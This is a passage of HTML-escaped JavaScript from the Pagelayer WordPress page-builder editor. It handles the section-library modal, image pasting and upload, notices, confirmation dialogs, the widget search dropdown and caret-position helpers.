	// On click close modal 
	mEle.find(&#039;.pagelayer-add-section-modal-close&#039;).on(&#039;click&#039;, function(){
		mEle.hide();
	});
	
	// Search Empty
	mEle.find(&#039;.pagelayer-sf-empty&#039;).on(&#039;click&#039;, function(){
		mEle.find(&#039;.pagelayer-section-search&#039;).val(&#039;&#039;);
	});
	
	// On select section type 
	mEle.find(&#039;#pagelayer-section-type&#039;).on(&#039;change&#039;, function(){
		var val = jQuery(this).val();
		pagelayer_add_sections_list_setup(val);
	});
	
	// Append the list items into modal body
	pagelayer_add_sections_list_setup();
	
	mEle.show();// Show the modal
	
};

// Append section list into modal body
function pagelayer_add_sections_list_setup(type){
	
	var mEle = pagelayer.$$(&#039;.pagelayer-add-section-modal-container&#039;);
	var body = mEle.find(&#039;.pagelayer-add-section-modal-body&#039;);
	var add_area = jQuery(&#039;.pagelayer-add-widget-area&#039;);
	type = type || &#039;section&#039;;
	
	// Find the number of cols
	var body_width = jQuery(window.parent).width();
	var num_cols = 3;
	if(body_width &gt;= 1500){
		num_cols = 4;
	}else if(body_width &gt;= 992){
		num_cols = 3;
	}else if(body_width &gt;= 768){
		num_cols = 2;
	}else if(body_width &gt;= 360){
		num_cols = 1;
	}
	//console.log(num_cols+&#039; - &#039;+body_width);
	
	var viewer = &#039;&lt;div class=&quot;pagelayer-section-is-visible&quot;&gt;&lt;/div&gt;&#039;;
	var selected_tags = {};
	var result_set = {};
	
	// Setup the scroll
	mEle.find(&#039;.pagelayer-section-tags-holder&#039;).slimScroll({
		height: &#039;calc(100vh - 150px)&#039;,
		railVisible: false,
		alwaysVisible: true,
		color: &#039;#000&#039;,
		size: &#039;5px&#039;,
	});
	
	// Create list of items
	var pagelayer_section_list = function(){
		
		// List the tags
		if(!pagelayer_empty(pagelayer_add_section_data[type][&#039;tags&#039;])){
			var tags_html = &#039;&#039;;
			var tags = pagelayer_add_section_data[type][&#039;tags&#039;];
			for(var k in tags){
				tags_html += &#039;&lt;span class=&quot;pagelayer-section-tags&quot; tag=&quot;&#039;+k+&#039;&quot;&gt;&#039;+k+&#039; (&#039;+tags[k].length+&#039;)&lt;/span&gt;&#039;;				
			}
			mEle.find(&#039;.pagelayer-section-tags-holder&#039;).html(tags_html);
			
			// Handle tag click
			mEle.find(&#039;.pagelayer-section-tags&#039;).unbind(&#039;click&#039;);
			mEle.find(&#039;.pagelayer-section-tags&#039;).on(&#039;click&#039;, function(e){
				
				var search = mEle.find(&#039;.pagelayer-section-search&#039;);
				
				// Blank the search
				if(search.val().length &gt; 0){
					search.val(&#039;&#039;);
					selected_tags = {};
				}
				
				// Fill the selected_tags
				tEle = jQuery(this);
				var tag = tEle.attr(&#039;tag&#039;)
				
				if(tEle.attr(&#039;on&#039;) == &#039;1&#039;){
					delete selected_tags[tag];
					tEle.removeAttr(&#039;on&#039;);
				}else{
					tEle.attr(&#039;on&#039;, 1);
					selected_tags[tag] = 1;
				}
				
				// Filter
				pagelayer_section_filter(false, 1);
				
			});
		}
		
		// Fill in the result
		result_set = { ...pagelayer_add_section_data[type][&#039;list&#039;]};
		
		show_result();
		
	};
	
	// How the result and setup scroll
	var show_result = function(){
		
		var html = &#039;&#039;;
		for(var i = 0; i &lt; num_cols; i++){
			html += &#039;&lt;div class=&quot;pagelayer-section-holder&quot; pagelayer-section-type=&quot;&#039;+type+&#039;&quot; num=&quot;&#039;+i+&#039;&quot;&gt;&lt;/div&gt;&#039;;
		}
		
		// Blank the body
		body.html(html+viewer);
		
		mEle.find(&#039;.pagelayer-section-modal-body-holder&#039;).unbind(&#039;scroll&#039;);
		mEle.find(&#039;.pagelayer-section-modal-body-holder&#039;).on(&#039;scroll&#039;, pagelayer_section_body_scroll);
		pagelayer_section_body_scroll();
	}
	
	var scroll_accessed = false;
	
	// Section body ON scroll
	var pagelayer_section_body_scroll = function(){
		
		// Check if there is anything to display in the first place, as we do delete pagelayer_add_section_data
		if(pagelayer_empty(result_set)){
			return;
		}
		
		var tester = mEle.find(&#039;.pagelayer-section-is-visible&#039;);
		var modal = mEle.find(&#039;.pagelayer-section-modal-body-holder&#039;);
		
		// If we have scroll
		if(!pagelayer_isElementInView(tester, modal) || scroll_accessed){
			return;
		}
		
		scroll_accessed = true;
		
		var html = &#039;&#039;;
		var i = 0;
		
		// Loop result_set
		for(var id in result_set){
			
			if(i &gt;= (num_cols * 5)){
				break;
			}
			
			var col = i % num_cols;
			//console.log(col);
			
			i++;
			
			var pro = 0;
			
			// Is it pro ?
			if(!pagelayer_empty(result_set[id]) &amp;&amp; pagelayer_empty(pagelayer_pro)){
				pro = 1;
			}
			
			html = &#039;&lt;div class=&quot;pagelayer-section-item&quot; pagelayer-section-type=&quot;&#039;+type+&#039;&quot; pagelayer-add-section-id=&quot;&#039;+id+&#039;&quot;&gt;&#039;+
			&#039;&lt;img src=&quot;&#039;+ pagelayer_add_section_data[type][&#039;image_url&#039;] + id +&#039;/screenshot.jpg&quot; alt=&quot;Pagelayer code screenshot&quot; /&gt;&#039;+
			(pro ? &#039;&lt;div class=&quot;pagelayer-section-pro-req&quot;&gt;Pro&lt;/div&gt;&lt;div class=&quot;pagelayer-section-pro-txt&quot;&gt;&#039;+pagelayer.pro_txt+&#039;&lt;/div&gt;&#039; : &#039;&#039;)+
			&#039;&lt;/div&gt;&#039;;
			
			body.find(&#039;.pagelayer-section-holder[num=&#039;+col+&#039;]&#039;).append(html);
			
			delete result_set[id];
			
		}
		
		//console.log(result_set);
		
		mEle.find(&#039;.pagelayer-section-item&#039;).unbind(&#039;click&#039;);
		mEle.find(&#039;.pagelayer-section-item&#039;).on(&#039;click&#039;, function(e){
			pagelayer_section_item_clickable(jQuery(this));
		});
		
		scroll_accessed = false;
		
	}
	
	// If we have searched something / or clicked tags
	var pagelayer_section_filter = function(event, not_input){
				
		var txt = mEle.find(&#039;.pagelayer-section-search&#039;).val();
		var tags = pagelayer_add_section_data[type][&#039;tags&#039;];
		
		// Searched anything
		if(!pagelayer_empty(txt) || pagelayer_empty(not_input)){
		
			// Blank the tags
			selected_tags = {};
			
			mEle.find(&#039;.pagelayer-section-tags&#039;).removeAttr(&#039;on&#039;);
			
			for(var k in tags){
				if(k.search(txt) &gt;= 0){
					selected_tags[k] = 1;
					mEle.find(&#039;.pagelayer-section-tags[tag=&quot;&#039;+k+&#039;&quot;]&#039;).attr(&#039;on&#039;, 1);
				}
			}
			
		}
		
		var new_result = {};
		var new_length = 0;
		
		// Filter the content
		for(var t in selected_tags){
			
			for(var i in tags[t]){
				new_length++;
				new_result[tags[t][i]] = tags[t][i];
			}
			
		}
		
		// Copy the result
		result_set = {...new_result};
		//console.log(type);console.log(selected_tags);console.log(result_set);
		
		show_result();
		
	}
	
	// On search change
	mEle.find(&#039;.pagelayer-section-search&#039;).unbind(&#039;input&#039;);
	mEle.find(&#039;.pagelayer-section-search&#039;).on(&#039;input&#039;, pagelayer_section_filter);
	
	// On click items
	var pagelayer_section_item_clickable = function(jEle){
		
		var section_id = jEle.attr(&#039;pagelayer-add-section-id&#039;);
		
		// IF section id not found
		if(pagelayer_empty(section_id)){
			return false;
		}
		
		if(jEle.find(&#039;.pagelayer-section-pro-req&#039;).length &gt; 0){
			return false;
		}
		
		// Show the overlay
		mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).show();
		
		// Do shortcode the content
		jQuery.ajax({
			url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_get_section_shortcodes&amp;postID=&#039;+pagelayer_postID,
			type: &#039;POST&#039;,
			data: {
				&#039;pagelayer_nonce&#039;: pagelayer_ajax_nonce,
				&#039;pagelayer_section_id&#039;: section_id,
				&#039;pagelayer-live&#039;: 1
			},
			success: function(data) {
				
				try{
					
					var data = JSON.parse(data);
					
					if(!pagelayer_empty(data[&#039;error&#039;])){
						pagelayer_show_msg(&#039;Error getting the section&#039;, &#039;error&#039;);						
						mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).hide();
						mEle.hide();
						return;
					}
					
					var cEle = jQuery(data[&#039;code&#039;]);
					
					// Add section before add widget area
					add_area.before(cEle);
					
					// We need to it setup
					cEle.each(function(){
						var pl_id = pagelayer_id(jQuery(this));
						
						if(!pagelayer_empty(pl_id)){
							pagelayer_element_setup(&#039;[pagelayer-id=&quot;&#039;+pl_id+&#039;&quot;], [pagelayer-id=&#039;+pl_id+&#039;] .pagelayer-ele&#039;, true);
						}
					});
				
				}catch(e){
					pagelayer_show_msg(&#039;Error getting the section&#039;, &#039;error&#039;);						
					mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).hide();
					mEle.hide();
					return;
				}
				
			},
			complete: function(){
				mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).hide();
				mEle.hide();
			}
		});	
	}
	
	// Load the data if not there
	if(!(type in pagelayer_add_section_data)){
		
		// Show the loading
		mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).show();
		
		// Get the sections list data and append it
		jQuery.ajax({
			url: pagelayer_api_url+&#039;/library.php?give=&#039;+type,
			type: &#039;post&#039;,
			success: function(response){
				var tmp = JSON.parse(response);
				
				// Is the list there ?
				if( !(&#039;list&#039; in tmp &amp;&amp; !pagelayer_empty(tmp[&#039;list&#039;])) ){
					return;
				}
				
				pagelayer_add_section_data[type] = tmp;
				
				// Create the Type
				pagelayer_section_list(type);
				
				// Hide the loading
				mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).hide();
				
			},
			complete: function(){
				mEle.find(&#039;.pagelayer-add-section-modal-overlay&#039;).hide();
			}
		});
	
	// We have the data, so show it
	}else{
		pagelayer_section_list(type);
	}
}

// Upload an image
function pagelayer_upload_image(fileName, blob, pagelayer_ajax_func){
	
	var formData = new FormData();
	formData.append(&#039;action&#039;, &#039;upload-attachment&#039;);
	formData.append(&#039;_ajax_nonce&#039;, pagelayer_media_ajax_nonce);
	formData.append(&#039;async-upload&#039;, blob, fileName);
	
	jQuery.ajax({
		url:pagelayer_ajax_url,
		data: formData,// the formData function is available in almost all new browsers.
		type:&quot;post&quot;,
		contentType:false,
		processData:false,
		cache:false,
		beforeSend: function( xhr ) {
			if(typeof pagelayer_ajax_func.beforeSend == &#039;function&#039;){
				pagelayer_ajax_func.beforeSend(xhr);						
			}
		},		
		xhr: function() {
			var xhr = new window.XMLHttpRequest();
			if(typeof pagelayer_ajax_func.uploadProgress == &#039;function&#039;){
				xhr = pagelayer_ajax_func.uploadProgress(xhr);						
			}
		  return xhr;
		},		
		error:function(err){
			//console.error(err);
			pagelayer_show_msg(&#039;Unable to upload image for some reason.&#039;, &#039;error&#039;);						
		},
		success:function(response){
			var obj = jQuery.parseJSON(response);
			if(typeof pagelayer_ajax_func.success == &#039;function&#039;){
				pagelayer_ajax_func.success(obj);						
			}
		},
		complete:function(xhr){
			if(typeof pagelayer_ajax_func.complete == &#039;function&#039;){
				pagelayer_ajax_func.complete(xhr);						
			}
		}
	});
};

// On editable area image paste handler
function pagelayer_editable_paste_handler(pasteEvent, pagelayer_ajax_func){
	var items,
	is_Paste = (pasteEvent.type == &#039;paste&#039; ? true : false),
	mustPreventDefault = false,
	reader;

	try {
		if(is_Paste){
			items = (pasteEvent.originalEvent || pasteEvent).clipboardData.items;			
		}else{
			items = [pasteEvent];
		}
		
		for (var i = items.length - 1; i &gt;= 0; i -= 1) {

			if (items[i].type.match(/^image\//)) {
				
				reader = new FileReader();
				/* jshint -W083 */
				reader.onloadend = function(event) {
					
					var src = event.target.result;		
					
					if(src.indexOf(&#039;data:image&#039;) === 0 ) {
						
						var block = src.split(&quot;;&quot;);
						var contentType = block[0].split(&quot;:&quot;)[1];
						var realData = block[1].split(&quot;,&quot;)[1];
						if(is_Paste){
							var fileName = &quot;image.&quot;+contentType.split(&quot;/&quot;)[1];					
						}else{
							var fileName = items[0][&#039;name&#039;];
						}
						
						// Convert it to a blob to upload
						var blob = pagelayer_b64toBlob(realData, contentType);
						
						pagelayer_upload_image(fileName, blob, pagelayer_ajax_func);
						
					}
				   
				};
				/* jshint +W083 */
				if(is_Paste){
					reader.readAsDataURL(items[i].getAsFile());	
				}else{
					reader.readAsDataURL(items[i]);					
				}
				mustPreventDefault = true;
			}
		}
		
		if(mustPreventDefault &amp;&amp; is_Paste){
			pasteEvent.stopPropagation();
			pasteEvent.preventDefault();
		}
		
	}catch(err){
		console.log(err);
	}
	
	return mustPreventDefault;
	
}

// Convert base64 to Blob 
function pagelayer_b64toBlob(b64Data, contentType, sliceSize) {
	contentType = contentType || &#039;&#039;;
	sliceSize = sliceSize || 512;

	var byteCharacters = atob(b64Data);
	var byteArrays = [];

	for (var offset = 0; offset &lt; byteCharacters.length; offset += sliceSize) {
		var slice = byteCharacters.slice(offset, offset + sliceSize);

		var byteNumbers = new Array(slice.length);
		for (var i = 0; i &lt; slice.length; i++) {
			byteNumbers[i] = slice.charCodeAt(i);
		}

		var byteArray = new Uint8Array(byteNumbers);

		byteArrays.push(byteArray);
	}

	var blob = new Blob(byteArrays, {type: contentType});
	return blob;
}

// Function to check if the URL is external
function pagelayer_parse_theme_vars(img_url){
	
	for(x in pagelayer_theme_vars){
		img_url = img_url.replace(x, pagelayer_theme_vars[x]);
	}
	
	return img_url;
};

// Tooltip Setup for Editor
function pagelayer_tooltip_setup(){	
	//pagelayer.$$(&#039;[data-tlite]&#039;).each(function(){pagelayer_tlite.show(jQuery(this).get(0));});return;
	pagelayer.$$(&#039;[data-tlite]&#039;).hover(function(){
		pagelayer_tlite.show(jQuery(this).get(0));
	}, function(){
		pagelayer_tlite.hide(jQuery(this).get(0));
	});
	
};

// Pagelayer Messages
function pagelayer_show_msg(msg, state, time){
	
	time = time || 5000;
	state = !pagelayer_empty(state) ? &#039;pagelayer-editor-msg-state-&#039;+state : &#039;&#039;;
	var nholder = pagelayer.$$(&#039;.pagelayer-editor-notice&#039;);
	var mEle = jQuery(&#039;&lt;div class=&quot;pagelayer-editor-msg &#039;+state+&#039;&quot;&gt;&#039;+msg+&#039; &lt;span class=&quot;pli pli-cross pagelayer-notice-x&quot;&gt;&lt;/span&gt;&lt;/div&gt;&#039;);
	
	nholder.append(mEle);
	
	mEle.find(&#039;.pagelayer-notice-x&#039;).on(&#039;click&#039;, function(){
		mEle.css({opacity: 0});
		setTimeout(function(){
			mEle.css({transition: &#039;none&#039;});
			mEle.slideUp(function(){
				mEle.remove();
			});
		}, 900);
	});
	
	setTimeout(function(){
		mEle.find(&#039;.pagelayer-notice-x&#039;).click();
	}, time);
	
}

// Pagelayer confirmation box
function pagelayer_confirmation_box(message, yesCallback, noCallback, yesText, noText) {
	
	yesText = yesText || pagelayer_l(&#039;Yes&#039;);
	noText = noText || pagelayer_l(&#039;No&#039;);
	
	var dialog = jQuery(&#039;&lt;div class=&quot;pagelayer-confirm-box-holder&quot;&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-confirm-box&quot; style=&quot;border-radius:5px&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-confirmation-msg&quot;&gt;&#039;+ message +&#039;&lt;/div&gt;&#039;+
			&#039;&lt;center&gt;&#039;+
				&#039;&lt;span class=&quot;pagelayer-btnyes button button-pagelayer&quot;&gt;&#039;+ yesText +&#039;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&#039;+
				&#039;&lt;span class=&quot;pagelayer-btnno button button-pagelayer&quot;&gt;&#039;+ noText +&#039;&lt;/span&gt;&#039;+
			&#039;&lt;/center&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;);
	
	pagelayer.$$(&#039;body&#039;).append(dialog);

	dialog.find(&#039;.pagelayer-btnyes&#039;).on(&#039;click&#039;, function() {
		dialog.remove();
		if(typeof yesCallback == &#039;function&#039;){
			yesCallback();
		}
	});
	dialog.find(&#039;.pagelayer-btnno&#039;).on(&#039;click&#039;, function() {
		dialog.remove();
		if(typeof noCallback == &#039;function&#039;){
			noCallback();
		}
	});
	dialog.show();
}

function pagelayer_trim(str, charlist){
	//  discuss at: http://locutus.io/php/trim/
	
	if(typeof str != &#039;string&#039;){
		return str;
	}
	
	var whitespace = [&#039; &#039;, &#039;\n&#039;, &#039;\r&#039;, &#039;\t&#039;, &#039;\f&#039;, &#039;\x0b&#039;, &#039;\xa0&#039;, &#039;\u2000&#039;, &#039;\u2001&#039;, &#039;\u2002&#039;, &#039;\u2003&#039;, &#039;\u2004&#039;, &#039;\u2005&#039;, &#039;\u2006&#039;, &#039;\u2007&#039;, &#039;\u2008&#039;, &#039;\u2009&#039;, &#039;\u200a&#039;, &#039;\u200b&#039;, &#039;\u2028&#039;, &#039;\u2029&#039;, &#039;\u3000&#039; ].join(&#039;&#039;);
	var l = 0;
	var i = 0;
	str += &#039;&#039;;

	if (charlist) {
		whitespace = (charlist + &#039;&#039;).replace(/([[\]().?/*{}+$^:])/g, &#039;$1&#039;);
	}

	l = str.length;
	for (i = 0; i &lt; l; i++) {
		if (whitespace.indexOf(str.charAt(i)) === -1) {
			str = str.substring(i);
			break;
		}
	}

	l = str.length;
	for (i = l - 1; i &gt;= 0; i--) {
		if (whitespace.indexOf(str.charAt(i)) === -1) {
			str = str.substring(0, i + 1);
			break;
		}
	}

	return whitespace.indexOf(str.charAt(0)) === -1 ? str : &#039;&#039;;
};

function pagelayer_ucwords(str) {
	return (str + &#039;&#039;).replace(/^([a-z])|\s+([a-z])/g, function ($1) {
		return $1.toUpperCase();
	});
}

// Check length for string and object
function pagelayer_length(mixed_var) {
	
	var length = 0;
	var undef, key, i, len;
	var emptyValues = [undef, null, false];

	for(i = 0, len = emptyValues.length; i &lt; len; i++) {
		if (mixed_var === emptyValues[i]) {
			return length;
		}
	}
	
	// Is array, object or jQuery object?
	if(typeof mixed_var === &#039;object&#039;){
		
		// If is jQuery object
		if( mixed_var.hasOwnProperty(&#039;length&#039;)){
			return mixed_var.length;
		}
		
		for (key in mixed_var) {
			// TODO: should we check for own properties only?
			//if (	.hasOwnProperty(key)) {
			length++;
			//}
		}
		
		return length;
	}
	
	length = String(mixed_var).length;

	return length;
};

// Create Widget list dropdown
function pagelayer_create_widget_tooltip(){

	var html = &#039;&lt;div class=&quot;pagelayer-widget-tooltip&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-widget-search-holder&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-widget-search&quot;&gt;&#039;+
					&#039;&lt;i class=&quot;pli pli-search&quot; &gt;&lt;/i&gt;&lt;input class=&quot;pagelayer-search-field&quot; /&gt;&lt;span class=&quot;pagelayer-sf-empty pli&quot;&gt;&amp;times;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
	
	for(var x in pagelayer_groups){
		
		// Title
		html += &#039;&lt;div class=&quot;pagelayer-widget-group pagelayer-group-name-&#039;+x+&#039;&quot;&gt;&lt;h5&gt;&#039;+x+&#039;&lt;/h5&gt;&#039;;
		
		// Indivdual icon
		for(var y in pagelayer_groups[x]){
			
			var sc = pagelayer_groups[x][y];
			
			if(!(sc in pagelayer_shortcodes) || &#039;not_visible&#039; in pagelayer_shortcodes[sc]){
				continue;
			}
			
			html += &#039;&lt;div class=&quot;pagelayer-shortcode-holder&quot; pagelayer-tag=&quot;&#039;+sc+&#039;&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-pointer pagelayer-sc&quot;&gt;&#039;+
					&#039;&lt;center class=&quot;pagelayer-shortcode-inner&quot;&gt;&#039;;
					
					if(&#039;icon&#039; in pagelayer_shortcodes[sc]){
						html += &#039;&lt;i class=&quot;pagelayer-shortcode &#039;+pagelayer_shortcodes[sc][&#039;icon&#039;]+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}else{
						html += &#039;&lt;i class=&quot;pagelayer-shortcode pli pagelayer-&#039;+sc+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}
					
					html += &#039;&lt;/center&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-pointer pagelayer-shortcode-text&quot;&gt;&#039;+pagelayer_shortcodes[sc][&#039;name&#039;]+&#039;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
			
		}
		
		html += &#039;&lt;/div&gt;&#039;;
		
	}
	
	html += &#039;&lt;/div&gt;&#039;;
		
	pagelayer.$$(&#039;body&#039;).append(html);
	
	var wdHolder = pagelayer.$$(&#039;.pagelayer-widget-tooltip&#039;);
	
	// Hide the ones which are not supposed to be shown
	wdHolder.find(&#039;.pagelayer-search-field&#039;).on(&#039;input&#039;, function(){
		
		var val = jQuery(this).val();
		var re = new RegExp(val, &#039;i&#039;);
		
		// Show only the required tags
		wdHolder.find(&#039;.pagelayer-widget-group&#039;).each(function(){
			
			var group = jQuery(this);
			var res = group.find(&#039;[pagelayer-tag]&#039;);
			var hidden = 0;
			
			res.each(function(){
				
				var tEle = jQuery(this);
				if(tEle.find(&#039;.pagelayer-shortcode-text&#039;).html().match(re)){
					tEle.show();
				}else{
					hidden += 1;
					tEle.hide();
				}
				
			});
			
			// Hide the whole group
			if(hidden == res.length){
				group.hide();
			}else{
				group.show();
			}
				
		});

		wdHolder.find(&#039;.pagelayer-shortcode-holder:visible&#039;).first().trigger(&#039;widget_active&#039;);
		
	});
	
	// On click search empty
	wdHolder.find(&#039;.pagelayer-widget-search&gt;.pagelayer-sf-empty&#039;).click(function(){
		wdHolder.find(&#039;.pagelayer-search-field&#039;).val(&#039;&#039;).trigger(&#039;input&#039;);
	});
	
	// Register widget active event
	wdHolder.find(&#039;.pagelayer-shortcode-holder&#039;).on(&#039;widget_active&#039;, function(){
		var activeEle = jQuery(this);
		wdHolder.find(&#039;.pagelayer-list-widget-active&#039;).removeClass(&#039;pagelayer-list-widget-active&#039;);
		
		if(!activeEle.hasClass(&#039;pagelayer-list-widget-active&#039;)){
			activeEle.addClass(&#039;pagelayer-list-widget-active&#039;);
		}
		
		activeEle[0].scrollIntoView({behavior: &quot;smooth&quot;, block: &quot;end&quot;});
	});
	
	pagelayer.gDocument.on(&#039;mousedown.pagelayer_wdlist&#039;, function(e){
		var target = jQuery(e.target);
		
		if(target.closest(&#039;.pagelayer-widget-tooltip&#039;).is(wdHolder)){
			return;
		}
	
		wdHolder.find(&#039;.pagelayer-shortcode-holder:visible&#039;).first().trigger(&#039;widget_active&#039;);
	
		wdHolder.hide();
		jQuery(&#039;.pagelayer-show-wiget-list&#039;).removeClass(&#039;pagelayer-show-wiget-list&#039;);
		jQuery(window).off(&#039;scroll.pagelayer_wdlist resize.pagelayer_wdlist&#039;);
	});
  
}

// Show Widget list dropdown
function pagelayer_show_widget_list(jEle, val){
	
	val = val || &#039;&#039;;
	jEle = jQuery(jEle);
		
	var wEle = pagelayer.$$(&#039;.pagelayer-widget-tooltip&#039;),
	winH = jQuery(window).height(),
	iframe = pagelayer.$$(&#039;#pagelayer-iframe&#039;),
	iframeTop = iframe.offset().top,
	iframeLeft = iframe.offset().left,
	style = {},
	wTop = &#039;auto&#039;,
	wBottom = &#039;auto&#039;,
	wLeft = &#039;&#039;;
	wHeight = &#039;&#039;;
  
	searchField = wEle.find(&#039;.pagelayer-search-field&#039;);
	searchField.val(val);
	searchField.trigger(&#039;input&#039;);
	
	// Add widget show class
	if(jEle.hasClass(&#039;pagelayer-shortcode-plus&#039;)){
		jEle.parent(&#039;.pagelayer-ele-overlay&#039;).addClass(&#039;pagelayer-show-wiget-list&#039;);
	}
	
	var bounds = jEle[0].getBoundingClientRect();
  
	wEle.removeClass(&#039;pagelayer-widget-list-tooltip&#039;);
	wLeft = (bounds.left + iframeLeft) - wEle.width() / 2;
  
	// In list view?
	if(jEle.closest(&#039;[pagelayer-editable]&#039;).length &gt; 0){
		wEle.addClass(&#039;pagelayer-widget-list-tooltip&#039;);
		var selection = window.getSelection();
		var range = selection.getRangeAt(0);
		wLeft = (range.getBoundingClientRect().left + iframeLeft) - wEle.width() / 2;
	}
	
	wEle.closest(&#039;.pagelayer-widget-tooltip&#039;).show();
	wEle.find(&#039;.pagelayer-shortcode-holder:visible&#039;).first().trigger(&#039;widget_active&#039;);
	
	// Hide Widget list
	if(jEle.closest(&#039;[pagelayer-editable]&#039;).length &gt; 0 &amp;&amp; wEle.find(&#039;.pagelayer-widget-group:visible&#039;).length &lt; 1){
		pagelayer.gDocument.trigger(&#039;mousedown.pagelayer_wdlist&#039;);
		return;		
	}else{
		searchField.focus().select();
	}
	
	var docW = iframeLeft + iframe.width() - 30;
	
	// Prevent to hide on left or right
	if(docW &lt; wLeft + wEle.width()){
		wLeft = docW - wEle.width();
	}else if(iframeLeft &gt; wLeft){
		wLeft = iframeLeft;
	}
	
	if(winH / 2 &lt; bounds.top + 10){
		wBottom = winH - bounds.top + 10;
		wHeight = bounds.top - 10;
	}else{
		wTop = bounds.bottom + iframeTop + 10;
		wHeight = winH - bounds.bottom - 10;
	}
	
	style[&#039;left&#039;] = wLeft;
	style[&#039;top&#039;] = wTop;
	style[&#039;bottom&#039;] = wBottom;
	style[&#039;max-height&#039;] = &#039;&#039;;
	
	if(wHeight &lt; 350){
		style[&#039;max-height&#039;] = wHeight;
	}
	
	wEle.css(style);
	
	jQuery(window).off(&#039;scroll.pagelayer_wdlist resize.pagelayer_wdlist&#039;);
	jQuery(window).on(&#039;scroll.pagelayer_wdlist resize.pagelayer_wdlist&#039;, function(){
		var _val = wEle.find(&#039;.pagelayer-search-field&#039;).val();
		pagelayer_show_widget_list(jEle, _val);
	});
				
	wEle.find(&#039;.pagelayer-shortcode-holder&#039;).off(&#039;click&#039;);
	wEle.find(&#039;.pagelayer-shortcode-holder&#039;).on(&#039;click&#039;, function(e){
				
		var tag = jQuery(this).attr(&#039;pagelayer-tag&#039;);
		var mWrap = jEle.closest(&#039;.pagelayer-ele-wrap[pagelayer-wrap-id]&#039;);
		var mTag = pagelayer_tag(mWrap);
		
		var ele = jQuery(&#039;&lt;div pagelayer-tag=&quot;&#039;+tag+&#039;&quot;&gt;&lt;/div&gt;&#039;);
		
		// Is col?
		if(mTag == &#039;pl_col&#039;){
			var colHolder = mWrap.find(&#039;&gt;.pagelayer-col &gt; .pagelayer-col-holder&#039;);
			colHolder.append(ele);
			pagelayer_empty_col(colHolder);
		}else{
			mWrap.after(ele);
		}
		
		// Replace widget
		if(jEle.closest(&#039;[pagelayer-editable]&#039;).length &gt; 0){
			pagelayer_delete_element(mWrap.find(&#039;&gt;.pagelayer-ele&#039;));
		}
		
		var eleId = pagelayer_onadd(ele, false);
		var eEle = pagelayer_ele_by_id(eleId);
		
		// Create Column
		if( tag == &#039;pl_inner_row&#039; ){
			var in_col = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_col&quot;&gt;&lt;/div&gt;&#039;);
			eEle.find(&#039;&gt;.pagelayer-row-holder&#039;).append(in_col);
			var in_col_id = pagelayer_onadd(in_col, false);
		}
		
		eEle.click();
		
		// Hide Widget list
		pagelayer.gDocument.trigger(&#039;mousedown.pagelayer_wdlist&#039;);
	});
  
}

// Set Selection By Character Offsets
function pagelayer_setCaret(containerEl, start, end){
	
	end = end || start;
	
	// Refered from http://jsfiddle.net/zQUhV/47/
	if(window.getSelection &amp;&amp; document.createRange){
		
		var charIndex = 0, range = document.createRange();
		range.setStart(containerEl, 0);
		range.collapse(true);
		var nodeStack = [containerEl], node, foundStart = false, stop = false;

		while (!stop &amp;&amp; (node = nodeStack.pop())) {
			if (node.nodeType == 3) {
				var nextCharIndex = charIndex + node.length;
				if (!foundStart &amp;&amp; start &gt;= charIndex &amp;&amp; start &lt;= nextCharIndex) {
					range.setStart(node, start - charIndex);
					foundStart = true;
				}
				if (foundStart &amp;&amp; end &gt;= charIndex &amp;&amp; end &lt;= nextCharIndex) {
					range.setEnd(node, end - charIndex);
					stop = true;
				}
				charIndex = nextCharIndex;
			} else {
				var i = node.childNodes.length;
				while (i--) {
					nodeStack.push(node.childNodes[i]);
				}
			}
		}

		var sel = window.getSelection();
		sel.removeAllRanges();
		sel.addRange(range);
		
	} else if (document.selection) {
		var textRange = document.body.createTextRange();
		textRange.moveToElementText(containerEl);
		textRange.collapse(true);
		textRange.moveEnd(&quot;character&quot;, end);
		textRange.moveStart(&quot;character&quot;, start);
		textRange.select();
	}
}

// Set Selection By Character Offsets
function pagelayer_content_line(containerEl){
	
	var lines = [], charIndex = 0, range = document.createRange();
	range.setStart(containerEl, 0);
	range.collapse(true);
	var bounding = range.getBoundingClientRect();
	var nodeStack = [containerEl], node, prevX = bounding.x, nextStart = 0;
	
	while(node = nodeStack.pop()){
		if (node.nodeType == 3) {
			for(var i = 1; i &lt;= node.length; i++){
				range.setStart(node, i);
				range.setEnd(node, i);
				bounding = range.getBoundingClientRect();
				charIndex ++;

				if(prevX &gt; bounding.x){
					lines.push({start:nextStart, end:charIndex - 1});
					nextStart = charIndex;
				}
				prevX = bounding.x;
			}
		} else {
			var i = node.childNodes.length;
			while(i--){
				nodeStack.push(node.childNodes[i]);
			}
		}
	}
	
	// Push last line
	if(nextStart != charIndex || nextStart == 0){
		lines.push({start:nextStart, end:charIndex});
	}
	
	return lines;
}

//http://jsfiddle.net/TjXEG/900/
function pagelayer_getCaretCharacterOffsetWithin(element){
	var caretOffset = 0;
	var doc = element.ownerDocument || element.document;
	var win = doc.defaultView || doc.parentWindow;
	var sel;
	if( typeof win.getSelection != &quot;undefined&quot; ){
		sel = win.getSelection();
		if (sel.rangeCount &gt; 0) {
			var range = win.getSelection().getRangeAt(0);
			var preCaretRange = range.cloneRange();
			preCaretRange.selectNodeContents(element);
			preCaretRange.setEnd(range.endContainer, range.endOffset);
			caretOffset = preCaretRange.toString().length;
		}
